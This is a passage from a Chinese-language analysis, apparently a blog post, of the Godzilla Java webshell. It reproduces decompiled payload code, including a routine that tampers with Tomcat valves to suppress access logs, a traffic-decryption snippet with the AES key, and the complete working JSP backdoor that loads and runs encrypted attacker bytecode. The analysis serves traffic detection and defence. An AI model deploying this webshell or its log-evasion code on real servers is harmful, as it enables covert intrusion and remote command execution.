throw new NoClassDefFoundError(var13.getMessage());
}
class$10 = var10000;
}
if (!var10000.isAssignableFrom(object.getClass())) {
Field[] driverInfos = object.getClass().getDeclaredFields();
for(int i = 0; i < driverInfos.length; ++i) {
var10000 = class$10;
if (var10000 == null) {
try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var12) {
throw new NoClassDefFoundError(var12.getMessage());
}
class$10 = var10000;
}
if (var10000.isAssignableFrom(driverInfos[i].getType())) {
driverInfos[i].setAccessible(true);
driver = (Driver)driverInfos[i].get(object);
break;
}
}
}
if (driver != null) {
Properties properties = new Properties();
if (userName != null) {
properties.put("user", userName);
}
if (password != null) {
properties.put("password", password);
}
connection = driver.connect(url, properties);
}
} catch (Exception var16) {
}
}
}
} catch (Exception var17) {
}
return connection;
}
public static String getLocalIPList() {
List ipList = new ArrayList();
try {
Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while(networkInterfaces.hasMoreElements()) {
NetworkInterface networkInterface = (NetworkInterface)networkInterfaces.nextElement();
Enumeration inetAddresses = networkInterface.getInetAddresses();
while(inetAddresses.hasMoreElements()) {
InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();
if (inetAddress != null) {
String ip = inetAddress.getHostAddress();
ipList.add(ip);
}
}
}
} catch (Exception var6) {
}
return Arrays.toString(ipList.toArray());
}
public String getRealPath() {
try {
if (this.servletContext != null) {
Class var10001 = this.servletContext.getClass();
Class[] var10003 = new Class[1];
Class var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
class$2 = var10006;
}
var10003[0] = var10006;
Method getRealPathMethod = this.getMethodByClass(var10001, "getRealPath", var10003);
if (getRealPathMethod != null) {
Object retObject = getRealPathMethod.invoke(this.servletContext, "/");
return retObject != null ? retObject.toString() : "Null";
} else {
return "no method getRealPathMethod";
}
} else {
return "servletContext is Null";
}
} catch (Exception var4) {
return var4.getMessage();
}
}
public void deleteFiles(File f) throws Exception {
if (f.isDirectory()) {
File[] x = f.listFiles();
for(int i = 0; i < x.length; ++i) {
File fs = x[i];
this.deleteFiles(fs);
}
}
f.delete();
}
Object invoke(Object obj, String methodName, Object[] parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add((Object)null);
}
}
}
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0]));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}
Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {
try {
Method method = this.getMethodByClass(obj.getClass(), methodName, parameterClass);
if (method != null) {
return method.invoke(obj, parameters);
}
} catch (Exception var6) {
}
return null;
}
Method getMethodByClass(Class cs, String methodName, Class[] parameters) {
Method method = null;
while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
method.setAccessible(true);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();
while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
private void noLog(Object servletContext) {
try {
Object applicationContext = getFieldValue(servletContext, "context");
Object container = getFieldValue(applicationContext, "context");
ArrayList arrayList;
for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", (Object[])null)) {
arrayList.add(container);
}
label84:
for(int i = 0; i < arrayList.size(); ++i) {
try {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label84;
}
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null) {
Class var10001 = valve.getClass();
Class[] var10003 = new Class[1];
Class var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var12) {
throw new NoClassDefFoundError(var12.getMessage());
}
class$2 = var10006;
}
var10003[0] = var10006;
if (this.getMethodByClass(var10001, "setCondition", var10003) != null) {
String condition = (String)this.invoke((String)valve, "getCondition", new Object[0]);
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", new Object[]{condition});
var10001 = this.servletRequest.getClass();
var10003 = new Class[2];
var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var11) {
throw new NoClassDefFoundError(var11.getMessage());
}
class$2 = var10006;
}
var10003[0] = var10006;
var10006 = class$2;
if (var10006 == null) {
try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var10) {
throw new NoClassDefFoundError(var10.getMessage());
}
class$2 = var10006;
}
var10003[1] = var10006;
Method setAttributeMethod = this.getMethodByClass(var10001, "setAttribute", var10003);
setAttributeMethod.invoke(condition, condition);
valve = this.invoke(valve, "getNext", (Object[])null);
continue;
}
}
if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
} else {
valve = null;
}
}
}
}
} catch (Exception var13) {
}
}
} catch (Exception var14) {
}
}
private static Class getClass(String name) {
try {
return Class.forName(name);
} catch (Exception var2) {
return null;
}
}
public static int bytesToInt(byte[] bytes) {
int i = bytes[0] & 255 | (bytes[1] & 255) << 8 | (bytes[2] & 255) << 16 | (bytes[3] & 255) << 24;
return i;
}
public String base64Encode(String data) {
return base64Encode(data.getBytes());
}
public static String base64Encode(byte[] src) {
int off = 0;
int end = src.length;
byte[] dst = new byte[4 * ((src.length + 2) / 3)];
int linemax = -1;
boolean doPadding = true;
char[] base64 = toBase64;
int sp = off;
int slen = (end - off) / 3 * 3;
int sl = off + slen;
if (linemax > 0 && slen > linemax / 4 * 3) {
slen = linemax / 4 * 3;
}
int dp;
int b0;
int b1;
for(dp = 0; sp < sl; sp = b0) {
b0 = Math.min(sp + slen, sl);
b1 = sp;
int bits;
for(int dp0 = dp; b1 < b0; dst[dp0++] = (byte)base64[bits & 63]) {
bits = (src[b1++] & 255) << 16 | (src[b1++] & 255) << 8 | src[b1++] & 255;
dst[dp0++] = (byte)base64[bits >>> 18 & 63];
dst[dp0++] = (byte)base64[bits >>> 12 & 63];
dst[dp0++] = (byte)base64[bits >>> 6 & 63];
}
b1 = (b0 - sp) / 3 * 4;
dp += b1;
}
if (sp < end) {
b0 = src[sp++] & 255;
dst[dp++] = (byte)base64[b0 >> 2];
if (sp == end) {
dst[dp++] = (byte)base64[b0 << 4 & 63];
if (doPadding) {
dst[dp++] = 61;
dst[dp++] = 61;
}
} else {
b1 = src[sp++] & 255;
dst[dp++] = (byte)base64[b0 << 4 & 63 | b1 >> 4];
dst[dp++] = (byte)base64[b1 << 2 & 63];
if (doPadding) {
dst[dp++] = 61;
}
}
}
return new String(dst);
}
public static byte[] base64Decode(String base64Str) {
if (base64Str.length() == 0) {
return new byte[0];
} else {
byte[] src = base64Str.getBytes();
int sp = 0;
int sl = src.length;
int paddings = 0;
int len = sl - sp;
if (src[sl - 1] == 61) {
++paddings;
if (src[sl - 2] == 61) {
++paddings;
}
}
if (paddings == 0 && (len & 3) != 0) {
paddings = 4 - (len & 3);
}
byte[] dst = new byte[3 * ((len + 3) / 4) - paddings];
int[] base64 = new int[256];
Arrays.fill(base64, -1);
int dp;
for(dp = 0; dp < toBase64.length; base64[toBase64[dp]] = dp++) {
}
base64[61] = -2;
dp = 0;
int bits = 0;
int shiftto = 18;
while(sp < sl) {
int b = src[sp++] & 255;
if ((b = base64[b]) < 0 && b == -2) {
if (shiftto == 6 && (sp == sl || src[sp++] != 61) || shiftto == 18) {
throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit");
}
break;
}
bits |= b << shiftto;
shiftto -= 6;
if (shiftto < 0) {
dst[dp++] = (byte)(bits >> 16);
dst[dp++] = (byte)(bits >> 8);
dst[dp++] = (byte)bits;
shiftto = 18;
bits = 0;
}
}
if (shiftto == 6) {
dst[dp++] = (byte)(bits >> 16);
} else if (shiftto == 0) {
dst[dp++] = (byte)(bits >> 16);
dst[dp++] = (byte)(bits >> 8);
} else if (shiftto == 12) {
throw new IllegalArgumentException("Last unit does not have enough valid bits");
}
if (dp != dst.length) {
byte[] arrayOfByte = new byte[dp];
System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp));
dst = arrayOfByte;
}
return dst;
}
}
}
(通信一)
然后调用sendHttpResponse(),在这里完成对请求(payload.classs的字节码)的加密(通过调用选择的加密器的encode方法),然后做发送
(1)ApplicationContext.getPayload(this.payload) payloadclass会调用class shells.payloads.下面对应的payload并实例化返回。
(通信二)
这里调用test,在evalFunc中发送了第二次的http请求。funcName="test",数据为参数的parameter.formatEx(),然后做了一次gzip的编码,最后会对请求进行gzip的解码。当返回的字符串为ok的时候,则test就会返回true
下面就代表true
11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC
通信三
我这里的代码没找到,但是通过对比第二个和第三个包是可以看到发送了一样的请求
三次通信触发位置
一 。this.cryptionModel.init(this);//发送payload.classs的字节码
二。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码
三。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码
三 流量加解密
post解密
package org.example;
import util.functions;
public class Main {
static String xc="3c6e0b8a9c15224a";
public static byte[] x(byte[] s,boolean m)
{
try
{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){return null;
}
}
public static void main(String[] args) {
String code = "0mQU+S1pFnTz3ttVTnAgJVD/aBwD3NNXL3TfTExo1weKu4KAhhCu6Gn1EQfX1m9g";
byte[] b = functions.base64Decode(code);
byte[] be = x(b,false);
System.out.println(new String(functions.gzipD(be)));
}
}
response解密
观察这里,这里在数据的前后拼接了md5的前16和后16位,所以流量解密需要进行去除
response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));
所以这里能看到哥斯拉在JAVA_AES_BASE64的加解密顺序
data -> aes加密-> base64编码-> url编码 -> 加密后的data
加密后的data -> url解码-> base64解码-> aes 解密-> data
四:哥斯拉执行原理
根据我们前面的分析,哥斯拉是基于字节码打入payload类的方式进行的通信执行功能复现。那么哥斯拉如何去处理和获取我们传输的数据呢。其中this.handle()实现具体功能。区分一下两次equals和tostring
(1)equals(ByteArrayOutputStream)
存储了this.outputStream
(2)equals(pageContext)
this.handlePayloadContext(obj);获取到request之后获取parameters
tostring()
获取参数具体的值
run中调用对应的方法,进行功能实现
五 哥斯拉webshell后门分析
<%!
String xc="3c6e0b8a9c15224a";
String pass="pass";
String md5=md5(pass+xc);
class X extends ClassLoader{
public X(ClassLoader z){super(z);}
public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }
public byte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){return null; }
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;String value = null;
try {
base64=Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;byte[] value = null;
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
%>
<%
try{
byte[] data=base64Decode(request.getParameter(pass));
data=x(data, false);
if (session.getAttribute("payload")==null){
session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));
}else{
request.setAttribute("parameters", new String(data));
Object f=((Class)session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0,16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));}
}catch (Exception e){}
%>
上面都是定义的加解密算法,核心还是下面这点
(1)获取pass 如果session没有payload属性,就利用自定义classloader加载data,然后设置为payload属性。
(2)后续能获取到以后,就会设置传入的参数,然后实例化payload类
(3)调用核心的equals,tostring() 完成webshell的文件上传,命令执行等功能。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论